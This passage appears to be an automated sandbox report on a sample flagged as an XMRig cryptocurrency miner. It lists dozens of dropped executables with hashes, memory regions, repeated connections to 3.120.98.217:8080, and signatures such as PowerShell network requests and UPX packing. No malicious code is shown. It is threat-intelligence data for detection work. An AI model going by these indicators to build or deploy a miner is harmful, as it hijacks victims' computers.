C:\Windows\System\yCruoWn.exe

C:\Windows\System\ERduuVv.exe

C:\Windows\System\ERduuVv.exe

C:\Windows\System\dFNeUQd.exe

C:\Windows\System\dFNeUQd.exe

C:\Windows\System\JSHTKBt.exe

C:\Windows\System\JSHTKBt.exe

C:\Windows\System\wDGEtXs.exe

C:\Windows\System\wDGEtXs.exe

C:\Windows\System\dEZuHif.exe

C:\Windows\System\dEZuHif.exe

C:\Windows\System\xMXntJf.exe

C:\Windows\System\xMXntJf.exe

C:\Windows\System\kIkTQiD.exe

C:\Windows\System\kIkTQiD.exe

C:\Windows\System\KlpzfMi.exe

C:\Windows\System\KlpzfMi.exe

C:\Windows\System\rGvacvQ.exe

C:\Windows\System\rGvacvQ.exe

C:\Windows\System\IIGVPaX.exe

C:\Windows\System\IIGVPaX.exe

C:\Windows\System\wIWsuKH.exe

C:\Windows\System\wIWsuKH.exe

C:\Windows\System\FSiBJqc.exe

C:\Windows\System\FSiBJqc.exe

Network

Country	Destination	Domain	Proto
DE	3.120.98.217:8080		tcp
DE	3.120.98.217:8080		tcp
DE	3.120.98.217:8080		tcp
DE	3.120.98.217:8080		tcp
DE	3.120.98.217:8080		tcp
DE	3.120.98.217:8080		tcp

Files

memory/2076-0-0x00000000001F0000-0x0000000000200000-memory.dmp

memory/2076-1-0x000000013F7C0000-0x000000013FBB2000-memory.dmp

C:\Windows\system\VdVKCiM.exe

MD5	5edd510b6cf457f7f52bdd7238c46d54
SHA1	8dd7cbb901bf977b93daf73a0dd5a68259e3e1ab
SHA256	36b28a935cb6b66849bfb2344146bcbe638a3d4e7ade84902c2dc38db01f8b84
SHA512	f9b5c1914b527bb7edf544aff8f95a04fccbee876446b80bd51379e191166cbfa91f4a4eb269df364fa1a29c619063a38a5eeb1d7aeb903e574a6c89d8dae472

memory/2076-6-0x000000013F2D0000-0x000000013F6C2000-memory.dmp

memory/2336-8-0x000000013F2D0000-0x000000013F6C2000-memory.dmp

C:\Windows\system\EaoDjQF.exe

MD5	8c04ec7f18433a0dc84138107bc5b824
SHA1	87666668675fd6c93ed9ad65f89da47e8449dc2c
SHA256	801a18c00a8d3c2e4a3613cdcfc9b351867f40d4419b6071e93770882fd86274
SHA512	ab9711b0329b627de10f552edc8c3d5d08027fa6406b1b7c546248e1c66f56bbfcc93f31afcd8b0f159e8c7045f86918053ede4e228958ad40ebf8e73797fbf1

\Windows\system\PNZLQbJ.exe

MD5	6e76ba5f6ffe2c2d336966dbc15385af
SHA1	d2c32f389a3f7de072121b6bc715236da6a6cc9b
SHA256	70f37bc3ca057d11ab089461a382aa3d98f55b505eeda9a097af0b88134de8b1
SHA512	bfb45e127e7fb692d2d35cc87e44aa6b36759c414b3b41f76e323c0c3425b31714aaaa085dc1b66ea8fd76b8d4b5f105991da76b78bb6112201e886e72286eaa

C:\Windows\system\TssLdsW.exe

MD5	d2c828dd9377965e6000f3af1dfb5bf1
SHA1	394027f4d9523465100cc6d72e8fa1014d344bd0
SHA256	37ca276bd3f0dced7b26f7d7ada34803f9a16c82b6d992e5fde6658edb281fe7
SHA512	092c6d00b4c8ba5890482ab30b08e42697830f0499df519d2a6605a63cf8f9497dfbe5dd579a75d1b075b8b6760fc49d89fd33ed0d16b45de3ff58d1b2c95a03

memory/2036-61-0x000000013F310000-0x000000013F702000-memory.dmp

memory/2076-60-0x0000000003000000-0x00000000033F2000-memory.dmp

\Windows\system\AhUvjVT.exe

MD5	912e91e03d409abb7dfddc76d0c66c23
SHA1	8bc93da111cc9318375e9f1edbde56ccb5c37abb
SHA256	4e013bf915d26a1e916cbb047d00dc7884670d99af1f6430291d27b24c2dcb90
SHA512	db17adbc35688c7addbfb37508116a2f3076f76865ed9e90ed39aa3875532204a501a1b1b57132b6aa42665c08dd116abe8ccdd435c789204468a1ad364515eb

memory/2076-177-0x0000000003000000-0x00000000033F2000-memory.dmp

memory/2076-186-0x000000013F390000-0x000000013F782000-memory.dmp

memory/2076-187-0x000000013FE10000-0x0000000140202000-memory.dmp

memory/2748-254-0x00000000027E0000-0x00000000027E8000-memory.dmp

memory/2076-181-0x000000013FEA0000-0x0000000140292000-memory.dmp

\Windows\system\RasLXnH.exe

MD5	3e61f4abc03ab8f66d47f779a0266b90
SHA1	ffa07c1df5be32216a0bd7dd8bbc4e70d845b413
SHA256	bf8c6a96fba6a3f354dc2cedf2adf2cee723353511d991f1c265ace1ed5f33a8
SHA512	a58e4b37993d19af24f958047490105f3af8f1b272f10b53d38974afdfd0700584ee917fb74e07a9af0e398d6b95245ebc7b5fad978914b80e36058ea4c9deda

C:\Windows\system\QtdIryt.exe

MD5	39e108e79a9069fe79043accdb606f1c
SHA1	8b88aec07ccf75262c999a4c0d9555ba3635116c
SHA256	30e0846340ace730f61556179bc1d1fbbd8430d7ffd8704a79cc416220de59aa
SHA512	b6a0b32de728219da8b65fd246ee0981ded108926021271f536d0629386a13cb1e2ccd781ef4129b7677210c10d310201edb4f7ad8534f6c7a280d85ac92501a

C:\Windows\system\iqnwIWw.exe

MD5	1b681ec8b2a01cdcc3c4020de5c266bc
SHA1	2629ca234c6f4b6773b8196c92e584aaebe2dd41
SHA256	68f39f44236ef945947100608b4b3d4eb47fbb146a27e92b6274e0893795d248
SHA512	211d5d94b1748b8f4119f232c1658c82891c5c043c166fd2456c2e06e96727ecc222ef76676d449178a55307e516f50862dc6ea1d1cc229246cff7553b8a246a

C:\Windows\system\EzoaPUW.exe

MD5	c17c6958512a2277dacdba513167a2fa
SHA1	38cff393e4488cdb4cf565d6e40563610e57b259
SHA256	7bda49b84b7a8cbb974a9826ab30bf08b03768d4bc30b876bda979c656eb7b3f
SHA512	8255b67126f0bfec0ee7347d394446c8a85387b5456a569542104e29da05ea60bf7767c0770386bc43006e3fe2c44acfef1d925ab1230ecc3ddf5f47d5c1253b

C:\Windows\system\vkmWHmN.exe

MD5	43b0dbaed52715aa01a4aa1eceb82c8b
SHA1	7ddb7318644f214386fa4b20ef7906a792c44c81
SHA256	fd42dbfbb52d25bb1eea4605909eaefd3850287b22a3f32b2bb1b939e884a9a0
SHA512	a91512c596887d161e4d3f00cbf2a9a3f335b638bceefb26d9065208715f4e94ccdea2736f7459977db0a264e8c8001af310bb5cc1189696be7158aa4499e1c7

memory/2096-169-0x000000013FAA0000-0x000000013FE92000-memory.dmp

C:\Windows\system\LLMujzp.exe

MD5	7d1e030b7ae141415ad13b4fad9f41f8
SHA1	9042eab9ab9bc95043694d5a526cb8a17218a0c2
SHA256	bfc19ae55c93f03fca1a274a81401b1128d1de5afe07678c9c561d69c27daaba
SHA512	2d0b39a99df5621eff4146b1409ba76f80073a9551c52f4ba148b48a79d7f989f1bfab2f31a676775aaa5b0dcc67fc2a4186ec74ffdefcbfd8d6145d5330f3d0

\Windows\system\EQXgQDw.exe

MD5	7d6640dbe6441bf4135da9bb33bba54e
SHA1	75b7a1305f47f90fc3c6f282ec672659bce34a1c
SHA256	8ee8b902c97057d344de9bf6984e733abfc12b560fb873c1e36477b40112cd4e
SHA512	5d9d86228149518870f563662608853ae4e9686cf1055834a28bd4caeaba112660e011d203b74abd3f7199908a7b58d79b9b13344e5e8df4658d13f27a2f9e5d

\Windows\system\oEttjxJ.exe

MD5	e4028a13e1ba4b7903cb5302e68c10a7
SHA1	4e5ebd5846cb08e44a017ad1ef3badd216e77e1a
SHA256	2597720441aeaa54483a5097ac494b4f12377a45fd347ae3db034bb56c6daa65
SHA512	87ba252b4029ae4057b7c3d8e54e2c82e95e1df6f6f3f32ed85d56cd173347ece06a72a82c756d1f8aab785a9724f19810fa207168726c81e45c9138a6fa93f2

C:\Windows\system\DZCDKOa.exe

MD5	acc4a7dc17127219420ce90527267713
SHA1	2006090606fe9bc87583678cc9b14ee2dec4edbd
SHA256	169864bbe2873531b04eb17bdcee668b768a6ddd4f68f5629510eb2d514f04ed
SHA512	cde5d3eec0c0b52509ae67490713c074c35c793d86f38723070634cbdf9cd3f0afddef184ea617b92bfa7a5ed437880a0e88cf5c1f4756a92e624261aa50acb6

\Windows\system\hlzBIox.exe

MD5	12704835536c884bd12ad1d68eea2c29
SHA1	5e6a367c18363db4c790257ab83cc8a76a3242f3
SHA256	edc9ffe1ea3a58f5127fb401e2890bdb7e06496095c79b0cb93298c303347f56
SHA512	8aab9560244e84689b6f6feb9aa4739239dfa2a88ca8ca16d1101a10aacb4e616bcd4c6f2376bd12510b749d2eab95b11490f7c95699f2eb523246719e6b3bc0

memory/2712-139-0x000000013FEA0000-0x0000000140292000-memory.dmp

\Windows\system\QFoiEsJ.exe

MD5	dc7b5d1413c525f2eba2486b7d52e370
SHA1	4d43b635db486698f00e83a86a44eb30c88732b1
SHA256	eed9a12a6619d4a15a3d34f3feba3eb4ee7ae538cd4f69b9fcf14dd4401929a3
SHA512	4173812b8971e2c6ad1226f752f06d61df85879050a20dc17d8525fb48bb101351d3621733a85759d04c7b48db247e4c66872f633e4c058f072781bbd0d8070c

C:\Windows\system\GhNdvBw.exe

MD5	5edc7e73609ca94ed00a761cb6dc6957
SHA1	22d71b7289d5e77c0437ede24502b965babbb73a
SHA256	92828c6f6702a126081332df4bef563997614349dc658129ede03ac5438cdbfc
SHA512	4507c5aa51255fc40ba86febe309561e292f88afaa783131075d7b6292572c241d2e9ef68684381eea8861777774371033912121af3eed05303195ea3abda131

C:\Windows\system\oUmaXpM.exe

MD5	3177dc979f8b397fea84b3b271ea26fa
SHA1	d83b2df6e9a4cddf0feaa4b014520366181c89d3
SHA256	9103055fc7703bcf75fef3ac9b4e542098101703e6940654dfe55f96e1e80d84
SHA512	a25f3823df981749dfbefee6eef3e1f0bb9f682ec60e6231e40279a9b65a191928c00b89ccd8c335f2f0dac7fc5800ce26946d40d6c907797e4552be954b1185

memory/2412-118-0x000000013F7A0000-0x000000013FB92000-memory.dmp

memory/2760-116-0x000000013FCD0000-0x00000001400C2000-memory.dmp

\Windows\system\tcTuzUP.exe

MD5	2146d8f852bb994db977f2ce51545332
SHA1	42b245408201f424ac870aee7e2d97eee483ad0e
SHA256	bb19652c933e0318df74401706751563ef20b74dc4d9b5dc70654dd90c008444
SHA512	7e714f6b7b368f51d1d12acadd19cd1e70ceb2de1f7af50624a690d414538cc9605f8904e6dc22f1ec3c03bb18313ddc3f890d3f17c5d5ec1cabdd23a4c4c2db

\Windows\system\NgBVWZb.exe

MD5	1818575f1d44b174d2a721d0eb6bd508
SHA1	e07a6ce4729a197f4e849b67ce406af3bc9d1859
SHA256	d16336fea487e070b4daf6aa0410fd4ce3cb35da678645177ad0c5f650750728
SHA512	c5dc2f32d54ce0bd736ad71223caa2b8d7eb39787b08eee1a6f8b1f7af43bf9768ad54686d9e4beaf1c8e28b06ebfad4bfe501b056d2dcd3545442a4472bd0b3

C:\Windows\system\qtQXwqS.exe

MD5	01a3ee92926a45b0055032ba7e8913ec
SHA1	001e42e09ca52178ddf475b26eb0b42e290caf9f
SHA256	47b539003985f30ffe11aa75243a0507333f469f9a9ed9bfdb9c94146175da33
SHA512	e79c93a33d27b1c15701d84cfdcb934ab52a15001475ae4f09d024a00e3485f0ef73b9f64e79af268543749f11926e5403f66dcfa1964290ebb9cdb832b4ae91

\Windows\system\YWaCAgW.exe

MD5	4a6176fd9968543fb3ada8efc1fdbb82
SHA1	85bff8a0ac49434dd7a795c5fc68a920d7471bbc
SHA256	b17982018daeb59bf5c39b03a3db1d029fb1a2cfc98f07e263f82ce364b7dc4b
SHA512	a08fde5b7330949e713a9c468577ed92265736795c1c619824625f850dd9b6f8e63bd29f29ceee2e5cfeb24803ea2d15fc7f6746d677e58b912d39bfcd528f99

\Windows\system\XiWcEzm.exe

MD5	e6d59318dfe596d41f80560649166671
SHA1	573d6a09963dda7b26dd93e9fa4c077363791ded
SHA256	d51c07676af8a15eddfd7eafe15e48a04d08fe4a70c0afbe2ecd2fed4c892185
SHA512	61c3538cc79a1b3c216e214550518132152c7ca4da76a224da94b24b6622d52a445845a2349e3d09678977f43eb2e3614c793d590d11623a056ea5c74c3aa10b

\Windows\system\DpMOVww.exe

MD5	a83791dea8c96f82b3b72590a1da59c9
SHA1	436c5ba6b6c782181693f12e4e7d52835ac6b396
SHA256	43523e0add1e34066c81138f87db06aa6be57389ff76b68e41afc686e091171d
SHA512	539fab00ccd851fef7114ec6e0572cc011e35c84c4ad7f5ce7fdd2a3b547e09f3d1d9f27fc3174099df1859fa75eefb2a12f6edde364b745237a8fcc5d2b63dc

\Windows\system\eQZXhYa.exe

MD5	fea4107d19c44361eb58d130b598e44c
SHA1	edfd4901bdb97e7b88f12a9968f602563877cb60
SHA256	b87337f1a0aef63199c75a30ee22db9b6699041a5e8fb2f70b3d38bc0dac43a0
SHA512	af9aaa2db598331715f3147f35f0d36d7be978f0d47af4621c72de7307858f26b89599138532abf59beafa4dd59a4f9c44b5edf313e9d76bcae82a3a0cb25537

C:\Windows\system\uGsExMV.exe

MD5	4f7c8844e7cc4106dda8329cdce82ea4
SHA1	1d5c4c2d7ea89ddd8c02a3a70acf08202f3b268f
SHA256	68644d633b435232b58e8ccb8d64bec9887feef84de71a0573af9a5a62c6848b
SHA512	7de032691a9bea5de066a3013160f8103d507f5c4cf1df97e41eb62783acb2f77b7e1acb5b74ecc0875674bb8c812663bad0a96026b37bec0382d82f3b101d2c

\Windows\system\cGOuBvi.exe

MD5	2757a746eca326afaf0268e0347b1e7e
SHA1	68b4c0191f9bc185380ab6e936b51abc66edcd39
SHA256	600d9af54e8b2730273298926d5341e0b883733b91dc58b8ba66fc0f67f86c87
SHA512	1c8630862277438648a31f461f91b64f7de927866fa4fb592a918b079336e4cbd620899ac8e43742d1896a2bb3db51a1cb104844e969cd426e0a185ab8ad2013

memory/2552-70-0x000000013F8E0000-0x000000013FCD2000-memory.dmp

memory/2076-69-0x0000000003000000-0x00000000033F2000-memory.dmp

memory/2512-68-0x000000013F6A0000-0x000000013FA92000-memory.dmp

memory/2076-67-0x000000013F190000-0x000000013F582000-memory.dmp

memory/2076-66-0x000000013FE80000-0x0000000140272000-memory.dmp

memory/2076-65-0x0000000003000000-0x00000000033F2000-memory.dmp

memory/2076-64-0x0000000003000000-0x00000000033F2000-memory.dmp

memory/2076-63-0x000000013FCD0000-0x00000001400C2000-memory.dmp

\Windows\system\SBGzqYX.exe

MD5	a64ae38272d1f982b5aff56c21810ff5
SHA1	f7d8fcd4e1eacaa94bcd625f3ad348d86557601f
SHA256	8e602fa1f82aa4a9438e4f4026ee5caad52c8404f6f278805287036dc0377a6e
SHA512	e3ff990b089e448eaa03135104b5293662ff4452975fd01c858f920bb3790508560010a5b54949e333603d6de4666e9fb0b9d46e8a6af59772717c8ffc56171b

C:\Windows\system\vMmISHL.exe

MD5	3e1a075471be479eadfae0106390ac4c
SHA1	94906d891cec19f5aaf200c30b0cb0eb80fc45c3
SHA256	3ecb34c0d41269661cd821769e26655c1d8547993eaa62f83ffd7bf4299a70b6
SHA512	6f5ced7f109e217c9b80dec852c744ea1edd80f629d0381f12efb8af2ed602ff33944c1d12126433792bd86c07adb8174008e9f891b1a2222d39f6db94b6fec3

\Windows\system\TzCHOaK.exe

MD5	44320e8c07fad9321cd656264f21f799
SHA1	40754b6e109a4b3114fb988a556a0ff77f4bceb5
SHA256	38cabd581e1c97e33df1530a4f99292235e395bf969038e2b79ba08c27da3c82
SHA512	5d3d64330e7c19b3b3778f4309ffeadb95dd766a8307eee4b295a582eb29cf5a0ba421161ae3cf2513e1a3f36c24fa435e07f15869accbf68436beb57e733c18

C:\Windows\system\raEShGs.exe

MD5	88eb84e14f3a853ef870868e73e36f2e
SHA1	61c067401ecff4789b43041e7f9ad29126915316
SHA256	46cb7b15cd42e524583a91eee332909af8eed0e74b1beb180f58d1c30d62711b
SHA512	414db94de60fab31895daf37246807223ac301427ac137e429aa10e048c870727c571d2cfd67622f4da7b161880cd00006b30df41aeb4e5a436adebdda88f7e8

C:\Windows\system\nKWLWdQ.exe

MD5	a0bf2ecf55d7df506750bc8707602b9f
SHA1	e90b53c35b6cb449e3072ff0ac3772c3ee84d2f9
SHA256	8f4755d7788c95a7e5a0f89afba97050de7bebfb72fb15a6f67ffab2f64fddb4
SHA512	42d6ee3fb4899edba177794d44714b8fb6eeb66cc03393aad63ac1313a3d35cce3c83d509e096edf9215b063e603224add28ddd28237bbba3b842e65b47d3df4

C:\Windows\system\BGPoBgA.exe

MD5	ae44492b98e5b42c67bad8b1efac1abf
SHA1	a0135f02a0cf926df1dbee150d886abea8f3d738
SHA256	8eb87da385ccff0a6690c7525ec178432c87d55b5ef6b81651ad74f7602475c6
SHA512	ea90f8707865105adda2110501b240a106277ffb494190fc7ddc963ee3bb9aa550cde3559c35a9f2e074c02e9bed3ebf3e141271e91d0e00af3d17292610ba55

C:\Windows\system\eyBHHxC.exe

MD5	cdf407b2cb9b591bac601d8fc6cfdf9b
SHA1	d79063a9a55dde2d336fb367b87f20ed90857463
SHA256	48b1870ef84bd80577473ce4608c285fdb38a6d184667a0aaceef3ef1071e391
SHA512	d3359bdaa49eefa1e7f2ce21e9f03314e075a3eaed947d6b10a9fbf41b6069e99a6c2c7da43677f693111eb2a7dd4c1b98001457be65faa6184a3c9904afd2ef

memory/2980-41-0x000000013F770000-0x000000013FB62000-memory.dmp

memory/2748-250-0x000000001B720000-0x000000001BA02000-memory.dmp

C:\Windows\system\hLRKbdd.exe

MD5	8d1549d2e1d0b9b07222eb9e76ce1049
SHA1	4770db8912902c4be02ff62824c958d848663967
SHA256	957ac520a0d5d9f1dcfa40b49c6cb72e2301702f053840f598fb015e127b8e78
SHA512	eb7da895f692e895d0e498b4a3b12a180b4c6e30ac88be0affe07a1f0ccc028d1a4193178c32484ab7312ac33c9c9b74de87657c48463ac0740ad7c92346392c

C:\Windows\system\KLxSuBL.exe

MD5	c386181098ce23794a2c58bc45fffea3
SHA1	c1c28b78a002f1329d5989c6ed0758ffd36f4c62
SHA256	e85a14b59d8afe8c6e199755dfd34bbaadc6cc0542f01ccb45b0212a88c49ccd
SHA512	197c5310551f966c2163d1d52a902af57e4141c2c0db7e2ae909b2b902f0f34569a909b3189732308f6d92f07ce3ccf265635f5b6008f94ff16e52ba4b41a795

C:\Windows\system\oUlNoAc.exe

MD5	5f74434395b9ccffe819574ea693a656
SHA1	386909768dd5392c5904976e08a428b54351e912
SHA256	d49085bfa9bd3493160a97ace1ffe0eaeb58c6b41252357577f24562f562e85f
SHA512	1ed590ec5a24fa5f91a596920b4d9c6559b779c8b6ee114f3bc9955d35dfbf9cbc3bbdc15d57bac53d441345a119a0dc3e63897619f21980a60d520313f9ebb6

C:\Windows\system\sEgFUUs.exe

MD5	a58c8d5220329ea7ecbff434051d10c0
SHA1	8ea8856d14c4b7f77d2ce703834efaffc5be83e1
SHA256	583b8d6bf8509fdff5e1b89f492650f5dd409cc104347182d4a713ae5ce048d8
SHA512	296d82cabc6d7443c847567602cf697e5f7e3a83ebb042bf08e7f0353b23c78ed6fcf03f4af0404689f8f27a75e53d23ea3115065103e95f606f537a6beed3bf

memory/2076-53-0x0000000003000000-0x00000000033F2000-memory.dmp

C:\Windows\system\IgaVQeK.exe

MD5	0818f460f27e19929271a23b4706532a
SHA1	8f0cdb85fbac81085ee7c2bab497b47e88ac394e
SHA256	4b939217fa73690d7297d3f7f0f4a6ca81fa4788de9c366099265bd0c3421738
SHA512	05a4beb59b978a63c56fb07152575d3232a76c67f886790f2bfa77bd375125228c72e9b9f6561fc5cf43747e446e83b657aefba27164d160995330eedd0de391

memory/2076-12-0x0000000003000000-0x00000000033F2000-memory.dmp

memory/2076-2586-0x000000013F7C0000-0x000000013FBB2000-memory.dmp

C:\Windows\system\vNMlwLJ.exe

MD5	f6061fc6a7c99ae821a125be5d34b682
SHA1	cd62deeb3efa237b04e342e9238578fd370ae14d
SHA256	700c9a719b011e50437e2fa1d083a87e3381f4f178b8b9f9899f4bbf7503df60
SHA512	cc6b78f85499cc18661ced0cca34cc6f25b4f82783646930e95bb966639561cabaf13feff5c13c58aa77b6804729d0ec64978f44b9a573d37b44aa1603320b3d

memory/2336-3976-0x000000013F2D0000-0x000000013F6C2000-memory.dmp

memory/2552-5367-0x000000013F8E0000-0x000000013FCD2000-memory.dmp

memory/2336-5368-0x000000013F2D0000-0x000000013F6C2000-memory.dmp

memory/2760-5370-0x000000013FCD0000-0x00000001400C2000-memory.dmp

memory/2036-5371-0x000000013F310000-0x000000013F702000-memory.dmp

memory/2712-5378-0x000000013FEA0000-0x0000000140292000-memory.dmp

memory/2980-5377-0x000000013F770000-0x000000013FB62000-memory.dmp

memory/2096-5376-0x000000013FAA0000-0x000000013FE92000-memory.dmp

memory/2412-5372-0x000000013F7A0000-0x000000013FB92000-memory.dmp

memory/2512-5385-0x000000013F6A0000-0x000000013FA92000-memory.dmp

memory/2076-9418-0x0000000003000000-0x00000000033F2000-memory.dmp

memory/2076-9557-0x0000000003000000-0x00000000033F2000-memory.dmp

memory/2076-12100-0x000000013FE10000-0x0000000140202000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 13:35

Reported

2024-06-13 13:37

Platform

win10v2004-20240611-en

Max time kernel

102s

Max time network

121s

Command Line

"C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Blocklisted process makes network request

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System\VdVKCiM.exe	N/A
N/A	N/A	C:\Windows\System\IgaVQeK.exe	N/A
N/A	N/A	C:\Windows\System\hLRKbdd.exe	N/A
N/A	N/A	C:\Windows\System\EaoDjQF.exe	N/A
N/A	N/A	C:\Windows\System\PNZLQbJ.exe	N/A
N/A	N/A	C:\Windows\System\uGsExMV.exe	N/A
N/A	N/A	C:\Windows\System\TssLdsW.exe	N/A
N/A	N/A	C:\Windows\System\qtQXwqS.exe	N/A
N/A	N/A	C:\Windows\System\sEgFUUs.exe	N/A
N/A	N/A	C:\Windows\System\DZCDKOa.exe	N/A
N/A	N/A	C:\Windows\System\oUlNoAc.exe	N/A
N/A	N/A	C:\Windows\System\LLMujzp.exe	N/A
N/A	N/A	C:\Windows\System\KLxSuBL.exe	N/A
N/A	N/A	C:\Windows\System\SBGzqYX.exe	N/A
N/A	N/A	C:\Windows\System\oUmaXpM.exe	N/A
N/A	N/A	C:\Windows\System\cGOuBvi.exe	N/A
N/A	N/A	C:\Windows\System\GhNdvBw.exe	N/A
N/A	N/A	C:\Windows\System\eQZXhYa.exe	N/A
N/A	N/A	C:\Windows\System\eyBHHxC.exe	N/A
N/A	N/A	C:\Windows\System\DpMOVww.exe	N/A
N/A	N/A	C:\Windows\System\BGPoBgA.exe	N/A
N/A	N/A	C:\Windows\System\XiWcEzm.exe	N/A
N/A	N/A	C:\Windows\System\nKWLWdQ.exe	N/A
N/A	N/A	C:\Windows\System\YWaCAgW.exe	N/A
N/A	N/A	C:\Windows\System\raEShGs.exe	N/A
N/A	N/A	C:\Windows\System\NgBVWZb.exe	N/A
N/A	N/A	C:\Windows\System\AhUvjVT.exe	N/A
N/A	N/A	C:\Windows\System\tcTuzUP.exe	N/A
N/A	N/A	C:\Windows\System\vkmWHmN.exe	N/A
N/A	N/A	C:\Windows\System\QFoiEsJ.exe	N/A
N/A	N/A	C:\Windows\System\EzoaPUW.exe	N/A
N/A	N/A	C:\Windows\System\hlzBIox.exe	N/A
N/A	N/A	C:\Windows\System\iqnwIWw.exe	N/A
N/A	N/A	C:\Windows\System\oEttjxJ.exe	N/A
N/A	N/A	C:\Windows\System\QtdIryt.exe	N/A
N/A	N/A	C:\Windows\System\EQXgQDw.exe	N/A
N/A	N/A	C:\Windows\System\vMmISHL.exe	N/A
N/A	N/A	C:\Windows\System\RasLXnH.exe	N/A
N/A	N/A	C:\Windows\System\TzCHOaK.exe	N/A
N/A	N/A	C:\Windows\System\pgPSexm.exe	N/A
N/A	N/A	C:\Windows\System\JociUts.exe	N/A
N/A	N/A	C:\Windows\System\dfMKJir.exe	N/A
N/A	N/A	C:\Windows\System\YQxPbSL.exe	N/A
N/A	N/A	C:\Windows\System\koJPZnv.exe	N/A
N/A	N/A	C:\Windows\System\BQkjKbL.exe	N/A
N/A	N/A	C:\Windows\System\SZvvhRA.exe	N/A
N/A	N/A	C:\Windows\System\nZHDYDh.exe	N/A
N/A	N/A	C:\Windows\System\prHmMlL.exe	N/A
N/A	N/A	C:\Windows\System\kWqMvya.exe	N/A
N/A	N/A	C:\Windows\System\oFXjXHr.exe	N/A
N/A	N/A	C:\Windows\System\JJAKzzY.exe	N/A
N/A	N/A	C:\Windows\System\akPZugz.exe	N/A
N/A	N/A	C:\Windows\System\vceuGJX.exe	N/A
N/A	N/A	C:\Windows\System\QelhxCn.exe	N/A
N/A	N/A	C:\Windows\System\pnkPhnO.exe	N/A
N/A	N/A	C:\Windows\System\dhAdmoN.exe	N/A
N/A	N/A	C:\Windows\System\kjxtSpg.exe	N/A
N/A	N/A	C:\Windows\System\MzRwjCx.exe	N/A
N/A	N/A	C:\Windows\System\BaFdoNS.exe	N/A
N/A	N/A	C:\Windows\System\dCCRntD.exe	N/A
N/A	N/A	C:\Windows\System\BbsrXkn.exe	N/A
N/A	N/A	C:\Windows\System\KAVeLEu.exe	N/A
N/A	N/A	C:\Windows\System\tYlZqnO.exe	N/A
N/A	N/A	C:\Windows\System\foabygv.exe	N/A

UPX packed file

upx

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
